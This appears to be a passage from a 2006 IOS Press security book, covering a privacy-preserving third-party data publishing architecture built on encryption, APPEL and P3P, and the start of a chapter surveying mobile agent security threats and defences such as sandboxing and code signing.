3. Privacy issues in third party architectures Before presenting our proposal for a privacy-preserving third party architecture, we discuss the main issues and requirements arising in using third party architectures for privacy preserving data release over the web. Privacy protection. Protecting user privacy in a third party architecture requires to address two main issues. On the one hand, the user must be ensured that the Publisher delivers his/her personal data to the requesting subjects according to the privacy policies the user specifies. On the other hand, the user must be ensured that the Publisher itself cannot access his/her data, since we do not want to make any assumption on the Publisher trustworthy, being at the same time able to manage them. Techniques are therefore needed to satisfy both these privacy requirements. Efficiency. The development of any security technique should not compromise the system efficiency. Therefore we believe that an important requirement in developing privacy-preserving techniques for third party architectures is to trade-off between privacy enforcement and efficiency. The developed techniques should therefore be designed keeping as much as possible minimum the overhead implied by security checks. Compliance with emerging standards. A key requirement to design a widely accepted solution is to be compliant to the emerging web standards. In particular, the system should support both APPEL [24], the emerging W3C standard language for privacy preference specification, and P3P [26], the W3C standard for privacy practices specification.
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
93
Additionally, it must support data coded in XML [25], since XML is today the de facto standard for data representation over the web. Ease of use. Another important requirement to develop a widely accepted solution is that the system should be easy to use even by users with no background on privacyrelated technologies. For instance, the system should be usable even by users which are not familiar with APPEL or XML syntax. As such, it should be equipped with adhoc graphical user interfaces by which the user can easily interact with the system (for instance, for the specification of his/her privacy preferences).
4. A privacy preserving third party architecture In this section, we present a proposal for a privacy preserving third-party architecture managing personal information [4], able to address most of the requirements stated in Section 3. The system we propose does not make any assumption on the trustworthy of publishers, it is fully compliant with the emerging privacy standards (i.e., APPEL and P3P) and ensures privacy protection to data owners with regards to both publishers and consumers operations. In particular, in our proposal users are ensured that consumers access their personal data in accordance with their privacy preferences. Additionally, users are also protected by non authorized accesses made by publishers. To ensure both these requirements we make use of cryptographic techniques4 and of a further trusted entity, called Trusted Privacy Manager (TPM) which is in charge of data encryption and key delivering. To be compliant with emerging web standards, we assume that data are encoded in XML [25], owner privacy preferences are expressed through APPEL [24], whereas consumer privacy practices are expressed in P3P [26]. In the following we first describe the overall architecture of our system, then we focus on its core component, that is, the TPM. 4.1. System overview Main components of the proposed system are: data owners – users owning personal data; one or more collectors, that play the role of data publishers; and a set of consumers, which query data managed by collectors. Our system makes use of encryption techniques for privacy enforcement, and therefore requires to encrypt user data according to the specified privacy policies and to manage the generated keys. Such task can be critical to be performed by each single user. For this reason, we introduce a further entity, the TPM, a trusted entity which is in charge of data encryption and key generation and delivering (cfr. Figure 4). Privacy with respect to both collectors and consumers is ensured by the use of encryption. Collectors do not operate on clear text data, but on their encryption performed by the TPM. As such they cannot access the information they manage. Encryption is driven by the privacy preferences specified by the data owner. This means that all data portions to which the same preferences apply are encrypted with the same key. During a mandatory subscription phase consumers receive by the TPM the keys corresponding to their privacy practices. In such a way, privacy with respect to consumers is ensured 4 Here
and in the following we refer to symmetric encryption.
94
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
P3P policies (7) Encryption Keys (8) Partition’s info (9)
TPM
Consumer
Privacy Certificate (10) Privacy preferences (1) Data (2)
Encrypted Query (11) Privacy Certificate (12)
Encrypted data (3) Partition’s Ids (4) Privacy Information
Encrypted result (13)
Encrypted data (5)
Owner
Partition’s Ids (6)
Collector
Figure 4. Overall architecture
because even if a collector maliciously sent a consumer more information that the one it is allowed to see according to the privacy preferences of the information owner, the consumer is not able to access it since it does not have the corresponding decryption key. Let us now see how the privacy preserving distribution of information takes place. A data owner wishing to make use of the system services first subscribes to the TPM. During the subscription phase, the TPM collects the owner privacy preferences, to be used for data encryption (1). To make this task easy even for data owners having no experience with the APPEL syntax, the TPM is equipped with a catalog of pre-defined privacy preferences, whose natural language description can be browsed by the data owner for preferences selection. Additionally, the owner can specify its own privacy preferences, if his/her is not satisfied with the pre-defined ones. Once subscribed, the data owner sends his/her data to the TPM for their encryption (2). The TPM returns the encrypted data to the owner (3) which can then deliver them to one or more collectors (5). The TPM also sends the owner some additional information, which is necessary for querying encrypted data. To query encrypted data, we use an approach similar to the one proposed in [14] for relational databases. The basic idea is that the TPM associates with the domain of each data element received by the owner a set of partitions, to which it assigns a unique id. Such ids are then used to perform queries over encrypted data.5 . In addition to these ids, the TPM sends also information, called Privacy Information, for enforcing owner’s privacy preferences. (4). Such information is then forwarded by the owner to collectors together with ids of the partitions associated with the encrypted data (6). Similarly to data owners, also consumers subscribe to the TPM. During the subscription phase, a consumer receives information on the adopted partitioning techniques and id generation mechanisms (9). Such information is then used by consumers to rewrite queries to be submitted to collectors into a format the collector is able to manage. The second task is key delivering. During consumer subscription, the TPM matches the consumer privacy practices (7) against the set of managed privacy preferences and returns the consumer only the keys corresponding to the satisfied privacy rules (8). The 5 We
will elaborate on this in Section 4.2
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
95
TPM also returns the consumer a privacy certificate (10), which stores information on the privacy preferences satisfied by the consumer’s privacy practices. Once a consumer wishes to submit a query to a collector it first rewrites it in terms of partition ids (11). Then, it sends the collector also its privacy certificate (12), proving the satisfaction of a set of privacy preferences. The collector evaluates the received certificate and the query against the data it manages and return the consumer an encrypted query result (13). 4.2. TPM The TPM consists of three main modules: the Preference Manager, the Encryption Generator, and the P3P Evaluator. The Preference Manager collects owner privacy preferences. To make privacy preferences specification easy, even for users which are not familiar with the APPEL syntax, the Preference Manager presents the owner the natural language description of a predefined set of privacy preferences (called rule templates). The owner can browse the rule templates catalog and select the rule templates that better fit his/her needs. If the owner is not satisfied with the pre-defined rules, he/she can specify his/her own privacy preferences, using a graphical interface. For internal representation, rule templates are encoded by means of a simplified version of APPEL. Rule templates are of two different types: rule templates with general behavior, that is, rule templates that model privacy preferences that apply to any consumer, provided that its privacy policies satisfy the specified privacy requirements, and rule templates with specific behavior, that is, rule templates modeling privacy preferences that apply only to a specific consumer, provided that its privacy policies satisfy the privacy requirements stated by the template. Clearly, if an owner selects a rule template with a specific behavior, he/she has also to give information about the consumer to which that rule applies. The encryption generator takes as input the owner’s data and generates the corresponding encryption. The encryption strategies adopted by our system have the goal to ensure that each owner’s data element is accessible only by those consumers whose P3P policies satisfy the owner’s privacy preferences by at the same time minimizing the number of keys that need to be generated. Different encryption strategies are then devised to manage rule templates with general and specific behavior. For rule templates with general behavior we first mark the data elements with the rule that apply to them (called rule configuration hereafter). Then, we associate a different encryption key with each different rule configuration. All data elements to which the same configuration applies are encrypted with the same encryption key. During consumer’s registration, the TPM supplies the consumer only with the encryption keys corresponding to the configurations which contain at least a rule template satisfied by the consumer’s privacy practices. For rule templates with specific behavior we use a different approach, since they apply to specific consumers provided that their privacy practices satisfy the owner’s privacy preferences. The idea is that a data element de, to which a rule template RTi selected with a specific behavior with respect to consumer C applies, is first encrypted with the encryption key associated with RTi . Then, it is further encrypted with the public key of consumer C. The double encryption ensures that de can be accessed only by C, since it has been encrypted with its public key, and only if C satisfies the rule template RTi , since it has been encrypted with the key associated with this rule.
96
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
To limit the number of keys that need to be generated, our system adopts an hierarchical key assignment scheme which requires to permanently store, in the worst case, a number of keys linear in the number of specified rule templates. A hierarchical key assignment scheme [2] relies on the existence of a hierarchical organization (e.g., over data, security levels, roles, etc.) and it is defined in such a way that from the key associated with a level j in the hierarchy, it is possible to derive all and only the keys associated with a lower level i, where i j, and is the partial order defined by the hierarchy. In our system, we exploit the partial order that can be defined over possible rule configurations. The precedence relation is given by the subset relationships. Therefore, by exploiting a hierarchical key management scheme, from the encryption key associated with a rule template RTj we are able to derive all and only the encryption keys associated with configurations containing RTj . The keys associated with the remaining configurations can be derived on the fly when needed. We refer the interested reader to [5] for all the details on key generation. Once the encryption has been generated according to the strategies described above, the TPM complements the encryption with additional information before its delivering to the data owner. Such information is then forwarded to consumers and is needed to correctly manage queries over encrypted data. The first information is the set of rule templates that apply to each data element. By matching the identifiers of the rule templates associated with a data element against the identifiers contained into the privacy certificate of the requesting consumer, the collector is able to verify whether a data element should be returned or not to the requesting consumer. However, even if this matching is maliciously performed by collectors, the adopted encryption strategies ensure that no information leakage occurs, that is, consumers are still able to access only the authorized data elements. The second information is needed to perform queries over encrypted data. In our system, we adopt an approach similar to the one proposed in [14] for querying encrypted relational databases. The basic idea of the approach in [14] is that, given a relation R, the owner divides the domain of each attribute in R into distinguished partitions, to which it assigns a different id. Then, the owner outsources the encrypted tuples to a third party, together with the ids of the partitions corresponding to each attribute value in R. The third party is able to perform queries directly on the encrypted tuples, by exploiting the partitioning ids. As an example of how this approach works, consider the relation Employee(eid, ename, salary), and, for simplicity, consider only the salary attribute. Suppose that the domain of salary is in the interval [500k, 5000k], and that an equi-partition with 100k as range is applied on that domain. Thus, each encrypted tuple is complemented with the id of the partition corresponding to the value of the salary attribute for that tuple. A query such as as: “SELECT * FROM Employee WHERE salary =1000k” is then rewritten into the query: “SELECT * FROM Employee WHERE salary =XX”, where XX is the id of the partition containing the value 1000k, before being submitted to the third party. Clearly, this query returns an approximate result, in that it returns all the tuples of the Employee relation whose salary attribute belongs to the range [1000K, 1100K). A further query processing has thus to be performed by the requiring user to refine the answer returned by the third party. We use the same strategy proposed in [14] and we adapt it to XML data. Therefore, before the encryption of a data element is returned to the owner, the Encryption module should complement the encrypted data with the corresponding partitions ids.
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
97
a
b
Figure 5. Examples of APPEL rules
The last component of the TPM, that is, the P3P Evaluator is simply in charge of matching consumers privacy practices against the owner privacy preferences and delivering the corresponding keys to consumer. 4.3. An illustrative example In this section, we present an example of use of our system. As reference scenario we consider the web. Let us consider a particular web user, say Paul, who has the following privacy preferences:6 • Paul would like to release his given and family name only to web sites that use it for administrative purpose (see Figure 5(a) for the APPEL rule expressing this privacy preference); • since Paul is a customer of the MyBookStore web site and makes use of its ecommerce service, he would like to release all his personal data to MyBookStore, provided that the web site does not redistribute them to third parties (see Figure 5(b) for the corresponding APPEL rule). In order to make use of the proposed system, Paul has first to subscribe to it. During subscription Paul can browse the pre-defined set of rule templates, by choosing the most appropriate ones. In particular, let us assume that among the pre-defined set of rule templates managed by the TPM there exists a rule template RT1 modelling the preference to release given and family name only to consumers that use it for administrative purpose, and a rule template RT2 stating the preference to release all user data only to those consumers that do not redistribute to others. Therefore, Paul’s privacy preferences are modelled by RT1 with general behavior, and by RT2 with a specific behavior with respect to MyBookStore. Once the rule templates have been selected, Paul can submit its data to TPM for the encryption. As introduced in Section 4.2, data encryption is performed according to two different strategies, that is, the general and specific encryption. Let us see how these 6 Without loss of generality, in what follows we focus on privacy preferences stated only on users P3P data schemes (see Section 2.2.1).
98
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
<User> 1,2 <EnContents> <EnContent RTs=“ 2=wo%8H5F <EnContents> <EnContent RTs=“ 2”>&hH$%=o <EnContents> <EnContent RTs=“ 1”>GDHj93$( <EnContent RTs=“ 2”>$%&hHIN <EnContents> <EnContent RTs=“ 1”>$%&hHIN <EnContent RTs=“ 2”>è[3497t& <EnContents> <EnContent RTs=“ 2”>è?(jkhbdTF <postal IDs=“”> <EnContents> <EnContent RTs=“2”>Bp+è&ìF&%/ <EnContents> <EnContent RTs=“ 2”>^hTR78% <EnContents> <EnContent RTs=“ 2”>&NbH0’%jh <EnContents> <EnContent RTs=“ 2”>£lfTY7 <postal IDs=“”> <EnContents> <En Content RTs=“ 2”>£)%hdoT <EnContents> <EnContent RTs=“ 2”>8346$%8b <EnContents> <EnCon tent RTs=“ 2”>83ew9h& <department IDs=“”> <EnContents> <EnContent RTs=“ 2”> 894df0/
Figure 6. An example of encrypted data
strategies are applied to Paul’s data. Consider rule templates RT1 which have been selected by Paul with general behavior. Applying the general encryption strategy requires to encrypt given and family data elements with the encryption key associated with RT1 . By contrast, since rule template RT2 has been selected by Paul with specific behavior with respect to MyBookStore, it requires a double encryption. The whole user data scheme is first encrypted with the encryption key associated with RT2 , then with
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
99
MyBookStore’s public key. Thus, in general, given a data element de, the encryption performed by TPM will result in different encryptions of de: one for enforcing all the rule templates selected with general behavior (i.e., RT1 ), and a different double encryption for each different rule template selected with a specific behavior, and for each specified consumer (i.e., RT2 , MyBookStore). Once the data is encrypted the TPM complements it with additional information needed to consumers and collectors. Encrypted data together with the additional information are encoded in XML.7 In our example, the XML document returned to Paul is shown in Figure 6. Once Paul received the encrypted data, he can outsource them to the selected collectors. Let us now assume that MyBookSite and AnotherWebSite consumers are requiring to a collector Paul’s user data. Suppose moreover, that AnotherWebSite consumer satisfies rule templates RT1 and RT2 , whereas MyBookStore consumer satisfies only RT2 . Let us start to consider MyBookStore request. By inspecting the MyBookStore’s certificate the collector verifies that it satisfies RT2 . Thus, the collector returns to MyBookStore all the encrypted data elements whose privacy information contains RT2 rule (see RTs attributes in the EnContent element in Figure 6). In particular, these are the encryptions of all the data elements which have been double encrypted first with the encryption key associated with RT2 , then with the public key of MyBookStore. By contrast, the collector returns to AnotherWebSite all the encrypted data elements whose privacy information contains RT1 or RT2 rule (i.e., the rule templates satisfied by AnotherWebSite and specified into its certificate). As represented in Figure 6, in the case of Paul’s data, this implies that the collector returns to AnotherWebSite the encryption of family and given data element, generated with the encryption key associated with RT1 , and the double encryptions of all the data elements of Paul’s data schema. Note that, since rule template RT2 applies to Paul’s data with specific behavior with respect to MyBookStore, these data elements have been double encrypted, thus avoiding the access to other consumers, even if they satisfy conditions expressed in the corresponding rule template, as it is the case for AnotherWebSite. 5. Conclusions This chapter deals with privacy issues, with a particular focus on the web. Main privacypreserving techniques so far proposed have been discussed and a new architecture for a privacy-preserving web distribution of data has been proposed. The architecture is based on the third-party paradigm and uses encryption techniques to guarantee privacy requirements of the data owner. A prototype implementation of the proposed framework is currently under development. Additionally, we are studying efficient techniques for the management of data updates. References [1]
R. Agrawal, J. Kiernan, R. Srikant, and Y. Xu Hippocratic databases. In Proc. of 28th International Conference on Very Large Databases, Hong Kong, China, August 2002.
7 We refer the interested reader to [5] for all the details on the XML-based language used for encoding encrypted data.
100
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
[2] S.G. Akl and P.D. Taylor. Cryptographic Solution to a Problem of Access Control in a Hierarchy. ACM Transaction in Computer Systems, 1(3):239-248, 1983. [3] E. Bertino, T. Leggieri, E. Terzi. Securing DBMS: Characterizing and Detecting Query Floods. In Proc. of the 7th Information Security Conference, Palo Alto, CA, USA, 2004. [4] B. Carminati, E. Ferrari. Trusted Privacy Manager: A System for Privacy Enforcement on Outsourced Data. In Proc. of the ICDE’05 International Workshop on Privacy Data Management, Tokyo, Japan, 2005, IEEE Society Press. [5] B. Carminati, E. Ferrari. A System for Controlled Outsourcing of Personal Data. Technical Report of Univesity of Insubria, 2005. Available at http://scienzecomo.uninsubria.it/carminati/TR/SCOPD.pdf [6] B. Carminati, E. Ferrari, P.C.K. Hung. Privacy Issues in the Web Services Architecture (WSA). To appear in Privacy Protection for E-Services, IDEA book, 2005. [7] B. Chor, O. Goldreich, E. Kushilevitz, M. Sudan. Private Information Retrieval In Proc. of Symposium on Foundations of Computer Science,"41-50",1995 [8] B. Chor, N. Gilboa, and M. Naor. Private information retrieval by keywords. Technical report, Technion: Israel Institute of Technology, 1997. [9] B. Chor, E. Kushilevitz, O. Goldreich, and M. Sudan. Private information retrieval. Journal of the ACM, 45, 1998. [10] C. Clifton, M. Kantarcioglu, and J. Vaidya. Defining Privacy For Data Mining. In Proc. of the National Science Foundation Workshop on Next Generation Data Mining, pages 126-133, Baltimore, MD, USA, November 2002. [11] L. Cranor. Web Privacy with P3P. O’Reilly & Associates, 2002. [12] S. Cockcroft, and P. Clutterbuck. Attitudes Towards Information Privacy. In Proc. of the 12th Australasian Conference on Information Systems. Coffs Harbour, NSW, Australia. [13] IBM Corporation. Enterprise Privacy Authorization Language (EPAL) IBM Research Report, 2003. [14] H. Hacigumus, B. Iyer, C. Li, and S. Mehrotra. Executing SQL over Encrypted Data in the Database Service Provider Model. In Proc. of the 2002 ACM SIGMOD international conference on Management of data, Madison, Wisconsin, 2002. [15] A. Kiayias and M. Yung. Secure games with polynomial expressions. In Proc. of 28th International Colloquium on Automata, Languages and Programming, 2001. [16] E. Kushilevitz and R. Ostrovsky. Replication is NOT needed: Single-database computationally private information retrieval. In Proc. of 38th Symposium on Foundations of Computer Science, 1997. [17] A.C. Yao. How to generate and exchange secrets. In Proc. of the 27th IEEE Symposium on Foundations of Computer Science, 1986. [18] Y. Gertner, Y. Ishai, E. Kushilevitz, and T. Malkin. Protecting data privacy in private information retrieval schemes. In Proc. of 30th ACM Symposium on the Theory of Computing, 1998. [19] O. Goldreich, S. Micali, and A. Wigderson. How to play any mental game - a completeness theorem for protocols with honest majority. In Proc. of the 19th ACM Symposium on the Theory of Computing, 1987. [20] S.W. Smith and D. Safford. Practical private information retrieval with secure coprocessors. Technical report, IBM T.J. Watson Research Center, July 2000. [21] S.W. Smith and D. Safford. Practical server privacy with secure coprocessors. IBM Systems Journal, 40(3), 2001. [22] U.S. Department of Health and Human Service. Health Insurance Portability and Accountability Act (HIPAA). Available at http://www.hhs.gov/ocr/hipaa/ [23] V.S. Verykios, E. Bertino, I. Nai Fovino, L. Parasiliti Provenza, Y. Saygin, and Y. Theodoridis. State-of-the-art in Privacy Preserving Data Mining. SIGMOD Record 33:50-57, 2004. [24] World Wide Web Consortium. A P3P Preference Exchange Language 1.0 (APPEL1.0). W3C Working Draft, April 2002. Available at:
B. Carminati and E. Ferrari / Privacy Preserving Third-Party Architectures
101
http://www.w3.org/TR/P3P-preferences/ [25] World Wide Web Consortium. Extensible Markup Language (XML) 1.0. W3C Recommendation, 1998. Available at: http://www.w3.org/TR/REC-xml [26] World Wide Web Consortium. The Platform for Privacy Preferences 1.1 (P3P1.1) Specification. W3C Working Draft, July 2005. Available at: http://www.w3.org/TR/2005/WD-P3P11-20050701/
102
Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.
Mobile Agent Security1 Łukasz NITSCHKEa, Marcin PAPRZYCKIb, Michał RENc a Adam Mickiewicz University of Pozna , Poland b Warsaw School of Social Psychology, Warsaw, Poland c Adam Mickiewicz University of Pozna , Poland, and Institute for Infocomm Research, Singapore
Abstract. The aim of this chapter is to provide an overview of security issues facing mobile agent systems, and discuss ways of managing them. We explore the state of the art, to assess if it is mature enough for use in real-life security-critical applications like extraction of sensitive information, contract signing or broadly understood e-commerce. Keywords. Mobile agents, agent security
1. Introduction to Mobile Agents There exists number of scenarios where software agents are considered to hold promise for the future of computing. One of them is the vision of software agents utilized in the context of development and implementation of large complex systems [1]. Here, the benefits are grounded in basic principles of software engineering (i.e. decomposition, abstraction and organization) and include faster creation, easier maintenance, scalability, and an overall ease of deployment of complex distributed systems. Separately, agent approach is expected to play a crucial role when dealing with information overload [2]. Here intelligent software agents are to learn user preferences and act upon them in finding all and only such information that a given user is going to be interested in. Finally, software agents are also very often mentioned in the context of e-commerce, where they are to play a very important role in support of automatic price negotiations and purchase automation (see for instance [3] and references collected there). While there is no universally agreed upon definition of what a software agent is (in particular, there is no formal definition), most of existing ones are in some way similar to that put forward by Jennings [4]. There, agents are conceptualized as software artifacts that exhibit certain properties, such as: • autonomy – they act without the need of constant human supervision, • sociability – ability to interact with other agents or humans if necessary, • reactivity – ability to react to changes in the environment , 1
Research reported in this chapter was supported by the KBN grant 0 T00A 003 23
Ł. Nitschke et al. / Mobile Agent Security
103
• proactivity – taking initiative, when appropriate, in order to reach objectives. This definition of software agents (as well as others) is very broad, and encompasses such programs as the animated paperclip in Word, many computer viruses, bots in firstperson shooter games, auction agents in online auction sites, or search engines’ web spiders. More interesting are so-called strong agents that, according to Jennings [5], have additional properties, such as: veracity, benevolence and rationality (however, the list of properties used to define software agents is much broader and definitely lacks consensus [6]). Finally, mobility – understood as agent ability to move from one computer to another, is believed to be particularly useful as it allows users to be offline (with their computer turned off) while their agents work on their behalf on other computers. It also serves to decrease network load – bandwidth-intensive tasks can be performed locally [7]. Moreover, agent mobility allows for load balancing and resource management in a grid-type environment, where agents are means of carrying across the network, and finding the best place to execute, computationally intensive tasks [8]. In this chapter, we focus on mobile agents, understood as agents conforming to Jennings' general definition, i.e. possessing autonomy, sociability, reactivity, proactivity, combined with mobility as an additional feature. From the top-level perspective, mobile agent technology can be conceptualized as a highly distributed system which consists of two types of elements: • mobile agents – programs that have the above mentioned properties and that, to fulfill their objectives, are equipped with a set of behaviors, which allow them to interact with the environment (including other agents) by exchanging messages or by acting within a local system (its own, or another); • mobile agent platforms – middleware which: a) provide runtime environment (interpreter) for agent programs, b) allow agents to travel and communicate securely, c) offer various services. Most common modern agent frameworks, such as JADE, FIPA OS or Grasshopper are implemented in Java. Such systems consist of an agent platform implementation and a programming interface, which: • supports Agent Communication Language – ACL, • enforces agents as containers for behaviors – while programmers only define behaviors. Before proceeding further, let us address the question of usefulness of agent mobility, which is still being discussed with some researchers claiming that client-server type approach is more useful. While we have argued that at least in some scenarios there is a definite place for agent mobility ([7], [9]) settling this discussion is out of scope of this chapter. Therefore we assume that mobility is a useful property of software agents and therefore the question of security of mobile agents has to be addressed. Unfortunately, as this chapter shows, mobility is extremely challenging from the security standpoint. It may therefore be suggested that security of mobile agents may be one of important factors that prevents their actual use in real-life applications (for a discussion of issues involving agent system development, see [10]).
104
Ł. Nitschke et al. / Mobile Agent Security
2. Security Requirements for Mobile Agent Systems To discuss security requirements for mobile agents systems, let us take a closer look at a few possible applications of this technology (they are presented here as generic examples of context in which one can find mobile agents in the literature). 2.1. Typical Scenarios 2.1.1. Airfare Agent It is often claimed that in the future mobile agents will be utilized to search the Internet for “the best offer,” e.g. best available price of an airline ticket. In this case, we can easily imagine that we configure an agent and provide it with, at least a minimal necessary subset of the following travel defining data (but also possibly with other requirements): • departure and destination points, • date, maximum time of travel, • class, • list of preferred airlines, • price threshold, • credit card number, or electronic currency, • digital signature key. An agent constructed in such a way will be sent to visit airline web-sites (where the web-site does not necessarily mean only publicly available WWW sites, but may also include proprietary sites created to specifically handle such agents) and collect offers. We can also envision that since we provide our agent with information contained in the last three bullets above, we can authorize it to choose the best option, book the flight, and make the actual purchase. Furthermore, our agent may be able not only to collect posted prices, but also engage in price negotiations [11], [12]. 2.1.2. Price Negotiators More generally, mobile agents may act as price negotiators in a virtual e-market. They may move to the hosts and, acting on behalf of their users, engage in price negotiations (e.g. by participating in auctions) to win best prices and/or contract conditions [3]. In the case of auctions, to deliver the best possible results to their users, agents will have to use sophisticated strategies and will have to be precisely parameterized. Note that in some forms of price negotiations agents representing e-store will also have to use complicated negotiations strategies and their success will depend on them. 2.1.3. Network Management Agents Finally, let us move away form e-commerce applications and consider agents working in a different field: monitoring and managing computer networks on behalf of network administrators. Assignments of such agents may include: • installing, upgrading software on network devices and computers,
Ł. Nitschke et al. / Mobile Agent Security
105
•
monitoring network traffic, seeking illegal user activities and possible security holes, • fighting worms and Trojan horses. It is obvious that in each of the above listed scenarios, security of information stored “inside” of an agent is crucial to the system in which they operate. If the adversary knows, for instance: • what is the threshold price – then he may modify his offer accordingly, • what strategy is used by a given agent – then it may modify its own strategy and outwit it, or • what technique is used to spot illegal users and their activities – then it may be able to modify its behavior in such a way that the guarding-agent will not be able to catch it. Furthermore, security of the platform is also important as agents may try to subvert it in a variety of ways, similarly to what is currently done by computer viruses. Let us now look in more details into variety of threats that are possible in the context of mobile agent systems. 2.2. Classification of Threats 2.2.1. Platform-to-platform Providing a secure transmission channel between platforms is the foundation of every solid mobile agent system. Properties of such channel should be as follows: • privacy – agent migration (data and/or code) or messages exchanged by agents located on different platforms should remain secret; this need is obvious, since the mobile agent can carry e.g. a credit card number or a secret negotiation algorithm; • data integrity – a traveling agent should be protected against malicious alterations of its data; for example somebody could try to erase some platforms from the path that is stored inside of the agent and that it is expected to follow; • authentication – the source platform, the destination platform and agent’s owner should be authenticated. Obviously, the problem of secure communication in networks is well known, has been studied on its own right, resulting in many effective solutions. 2.2.2. Agent-to-platform Let us consider the above presented air-fare agent scenario to indicate few possible threats to the security of the host (platform). An agent (sent by a competing airline, for instance) can spy on the host’s databases, or disable services (e.g. performing a denial of service attack). In other words, it might act as a Trojan horse. To achieve this, agent may pretend to be legitimate, i.e. sent by a customer or, more seriously, to be a part of agent system of the given airline itself. Moreover, a benevolent agent may be corrupted by a third party, (captured en route in the case when the communication channel was not secure – see above) to act as a malevolent one and attempt to attack the platform.
106
Ł. Nitschke et al. / Mobile Agent Security
2.2.3. Platform-to-agent It is not only the agency that has to include safeguards against hostile agents; agents themselves are exposed to attacks by a hostile platform as well. For example, if the agency belongs to an airline, it might try to brainwash air-fare agents so that they forget all competing (presumably better) offers. Separately, if an agent is empowered to immediately accept an offer that is “good enough,” the platform might try to disassemble it to find its threshold value and immediately make an acceptable offer. In general, the more the agent is authorized to do (while representing its owner), the greater the risk that at least one agency on its route will try to subvert it. For instance, we could have authorized the agent to make actual payments or to digitally sign contracts. In order to do that, the agent must carry with it a secret-token, such as the signing key, the credit card number, or even digital currency. It is not difficult to see that stealing one of these may be disastrous to the agent’s owner, and very lucrative to the thief. Therefore, the main goals in protecting agents against threats posed by rogue platforms are as follows: • Privacy of computation – which means that an agent is able to carry out computations without: o the host understanding what the agent is doing – computing with encrypted function (CEF), o the host being able to obtain agent secret data – computing with encrypted data (CED). This would allow the agent to carry secret values (signing key, e-money, credit card number) in an encrypted form but still involve them in necessary computations. • Integrity of computation – gives a guarantee that the execution flow of agent code was not manipulated from outside of the agent. • Privacy and integrity of data – assurance that data carried by the mobile agent has not been tampered with; this also applies to the agent’s itinerary, which should be seen as part of the data. • Resistance to copy and replay. Software agents have an inherent flaw – they can be easily copied and re-played. In this way one can simulate agent’s environment changing it in controlled manner, trying to reverse engineer it, or at least find crucial parts of its functionalities e.g. determine the agent’s price threshold. 2.2.4. Agent-to-agent It can be argued that for all practical purposes an agent platform acts as an intermediary between interacting agents. Therefore, the problem of performing agent-to-agent attacks is actually a special case of agent-to-platform security. The following agent-to-agent attacks are possible: • impersonation – agents pretending to be: other agents or agents of a certain owner, • denial of service – agents preventing other agents from doing their job, • spying – agents trying to steal secrets carried by other agents (embodied in their functions, or stored within data that they carry).
Ł. Nitschke et al. / Mobile Agent Security
107
Separately, there exists also a group of illegal agent activities which cannot be controlled by the execution environment, like lying. Nonetheless, these have more to do with a broad question of trust, rather than strictly understood security (see below).
3. Cryptographic Goals and Tools for Mobile Agents Security of every distributed system relies nowadays on some cryptographic techniques. Mobile agent systems are no exception, as security requirements of these systems overlap with main goals of cryptography. A standard list of cryptographic goals stated by [13] is as follows: • confidentiality – keeping information secret from all but those who are authorized to see it, • authentication – corroboration of the identity of an entity, • integrity – ensuring information has not been altered by unauthorized or unknown means. To achieve these goals cryptography provides us with many useful tools including: • hashing functions – a computationally efficient functions that map strings of arbitrary bit length to some fixed length hash-values; hash functions are hard to invert and built in such a way that it is extremely difficult to find two different strings which yield the same hash-value; • Message Authentication Code (MAC) mechanism – a set of hashing functions indexed by values from the set K – H={hk: k∈K}; here each k∈K can be used to produce an authentication value of message m: hk(m) (MAC-value), which can be verified only by someone who knows k; • symmetric and asymmetric encryption systems – consist of two types of transformations: E – encrypting and D – decrypting; every transformation is determined by a value called “the key;” in symmetric encryption systems keys for the inverse transformations (D(E(m))=m) are the same or trivially easy to compute, as opposed to asymmetric encryption where the keys are different and the decryption key is hard to compute from the value of the encryption key – in this case we speak of public (encryption) and private (decryption) keys; • digital signature schemes – similar to asymmetric encryption, involve two types of keys and two types of transformations: S – signing transformations determined by private keys and V – verifying transformations determined by public keys; Ss(m) – signature under message m created using key private s, can be verified by a public function (determined by a public key v) Vv which simply “says” whether the signature is valid or not. While a number of methods is available to support cryptographic needs, their successful application to mobile agent systems is not easy. In the next sections we look in more detail into issues involved in cases described above. Note however, that the problem of secure communication described as platform-to-platform is exactly the same as the problem of providing security of any network communication (the fact that we are dealing with agent-to agent communication, or that we have agent migrating from one host to
108
Ł. Nitschke et al. / Mobile Agent Security
another – which is also a case of communication security – does not make any difference). Since the case of network communication security is well known and there exist its many effective solutions we will omit it here and concentrate on the remaining problems that are specific to agent environments.
4. Mobile Agent Platform Security Almost every PC user is aware of the fact that one should not run executable mail attachments for they may install a Trojan horse or spyware. In case of agents the situation is similar – to use an anthropomorphic description: an agent platform cannot be sure of agents’ intentions. In the case of a rogue agent, it may even pretend to be legitimate, i.e. sent by a well-known customer or, more seriously, pretend to be a part of the local agent system itself. Moreover, a benevolent agent may be corrupted by a third party en-route to the server and, upon arrival, attempt to disrupt its operation. There is a range of options available to safeguard hosts against such attacks, from simple to sophisticated [14], [15]: • Sandboxing is one of the oldest methods of limiting resources available to mobile code, dating back to Java 1.0 and its Applet technology. Applets are small programs downloaded and executed by web browsers on a very limited Java Virtual Machine (sandbox), therefore preventing access to vital system resources. By default applets: o have no access to file system, o cannot communicate via network except with the originating host, o cannot start programs on the client side, o are not allowed to load libraries. Applets are a very nice technology as long as the application is limited – like an interactive online map – but in a number of instances, for example when code needs access to the file system (e.g. online virus scanner) simple sandboxing proves to be too inflexible.
109
Ł. Nitschke et al. / Mobile Agent Security
remote code
local code
Sandbox Java Virtual Machine
Valuable resources
Figure 1 Sandboxing
•
Code signing provides a method of distinguishing trusted and untrusted code using the mechanism of digital signatures. Trusted code can be granted access to critical system resources. Code signing was implemented, for instance, in Microsoft ActiveX and Java 1.1.
remote code
local code
trusted Sandbox Java Virtual Machine
Valuable resources
Figure 2 Code signing
•
Access control – takes code signing one step further, by allowing the owner of the executing platform to precisely define security policies. Instead of dividing code into broad categories of “trusted” and “untrusted”, code is associated with the identity of its owner and granted appropriate, individual access privileges. Access control was first implemented in Java 1.2. It allowed granting privileges to code signed by a certain identity. The security policy was described in special
110
